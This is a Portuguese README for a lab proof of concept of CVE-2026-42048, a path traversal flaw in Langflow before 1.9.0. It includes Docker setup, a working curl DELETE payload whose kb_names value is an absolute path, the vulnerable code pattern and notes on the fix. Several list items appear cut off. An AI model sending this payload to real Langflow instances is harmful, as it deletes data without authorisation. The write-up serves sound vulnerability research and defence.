
Exclusão Arbitrária de Diretório no Langflow
CVE-2026-42048 Langflow Path Traversal / Exclusão Arbitrária de Diretórios PoC
https://github.com/user-attachments/assets/6e5481ff-e953-47a5-8870-70b30c6550de
CVE-2026-42048 : Vulnerabilidade de Exclusão Arbitrária de Diretórios no Langflow
descrição: Uma vulnerabilidade de path traversal no Langflow anterior à versão 1.9.0 permite que um atacante autenticado exclua diretórios fora do caminho de armazenamento pretendido da Base de Conhecimento através do endpoint de exclusão em massa, DELETE /api/v1/knowledge_bases. O problema ocorre porque valores kb_names controlados pelo usuário são usados para construir caminhos do sistema de arquivos sem validação adequada de normalização e contenção.
A exploração bem-sucedida requer as seguintes condições:
1.9.0.DELETE /api/v1/knowledge_bases
PR:L).kb_names do corpo da requisição.Esta vulnerabilidade não contorna as permissões de arquivo do sistema operacional. Ela abusa da própria lógica de manipulação e exclusão de caminhos do Langflow.
Construa e execute o ambiente vulnerável usando Docker:
docker build -t cve-2026-42048 .
docker run --rm -d -p 9101:9101 --name cve-2026-42048 cve-2026-42048
curl http://127.0.0.1:9101/status
O laboratório cria um diretório alvo descartável em:
/target/CVE-2026-42048
O endpoint /status informa se esse diretório ainda existe.
python3 poc.py
Entrada interativa:
Vulnerable URL: http://127.0.0.1:9101
Path to delete [/target/CVE-2026-42048]:
curl -s -X DELETE http://127.0.0.1:9101/api/v1/knowledge_bases \
-H "Content-Type: application/json" \
-d '{"kb_names":["/target/CVE-2026-42048"]}'
curl http://127.0.0.1:9101/status
Se a exploração for bem-sucedida, target_exists muda de true para false.
Endpoint Vulnerável
DELETE /api/v1/knowledge_bases
A vulnerabilidade existe na API de exclusão em massa das Bases de Conhecimento do Langflow. O manipulador afetado aceita uma lista de nomes de Bases de Conhecimento através do parâmetro kb_names e usa cada valor para construir um caminho no sistema de arquivos para exclusão.
Em versões vulneráveis, a lógica de exclusão em massa constrói manualmente o caminho em vez de usar o auxiliar de resolução de caminho mais seguro usado por outros endpoints da Base de Conhecimento. Uma representação simplificada do padrão vulnerável é:
kb_root_path = KBStorageHelper.get_root_path()
kb_user_path = kb_root_path / current_user.username
for kb_name in request.kb_names:
kb_path = kb_user_path / kb_name
if not kb_path.exists() or not kb_path.is_dir():
continue
KBStorageHelper.delete_storage(kb_path, kb_name)
O auxiliar de exclusão eventualmente remove o diretório alvo com lógica de exclusão recursiva. Como kb_name é controlado pelo atacante, sequências de path traversal como ../ podem escapar do diretório da Base de Conhecimento do usuário atual. No pathlib do Python, um caminho absoluto fornecido no lado direito também pode sobrescrever os componentes de caminho anteriores:
Path("/safe/base") / "/target/CVE-2026-42048"
# -> /target/CVE-2026-42048
Como resultado, um valor kb_names manipulado pode fazer com que o Langflow exclua um diretório fora da raiz de armazenamento pretendida da Base de Conhecimento, desde que o processo do Langflow tenha permissão para remover esse diretório.
Este é um problema CWE-22: Limitação Imprópria de um Nome de Caminho a um Diretório Restrito.
A causa raiz é a normalização e validação de limites insuficientes dos componentes de caminho controlados pelo usuário antes da exclusão recursiva. O endpoint vulnerável de exclusão em massa verifica se o caminho final existe, mas não garante que o caminho resolvido permaneça sob o diretório da Base de Conhecimento do usuário autenticado.
Uma correção robusta deve:
Path.resolve()O Langflow corrigiu este problema na versão 1.9.0.
A exclusão arbitrária de diretórios pode impactar diretamente a integridade e disponibilidade. Dependendo das permissões de implantação e da estrutura do sistema de arquivos, um atacante pode ser capaz de:
Este problema não requer execução arbitrária de código para ser prejudicial. A exclusão recursiva com privilégios da aplicação é suficiente para danificar dados e disponibilidade.
+-------------------------------------------+
| Authenticated User |
+-------------------------------------------+
|
| DELETE /api/v1/knowledge_bases
| kb_names = ["/target/CVE-2026-42048"]
v
+-------------------------------------------+
| Langflow Knowledge Base API |
+-------------------------------------------+
|
| Unsafe path construction
v
+-------------------------------------------+
| Path Escapes Intended KB User Directory |
+-------------------------------------------+
|
| Recursive directory deletion
v
+-------------------------------------------+
| Arbitrary Directory Deletion |
+-------------------------------------------+
Este laboratório expõe um pequeno proxy de desafio na porta 9101. O proxy mantém a UI completa do Langflow e a porta direta do backend ocultas, enquanto encaminha apenas o caminho mínimo vulnerável da API necessário para este exercício.
O diretório alvo para o laboratório é:
/target/CVE-2026-42048
O endpoint /status pode ser usado para confirmar que o diretório alvo foi excluído.
docker stop cve-2026-42048
Este repositório não tem a intenção de facilitar a exploração não autorizada de instâncias do Langflow. O objetivo deste projeto é ajudar pesquisadores de segurança, defensores e desenvolvedores a entender a vulnerabilidade, validar a exposição em ambientes controlados e aplicar mitigações eficazes.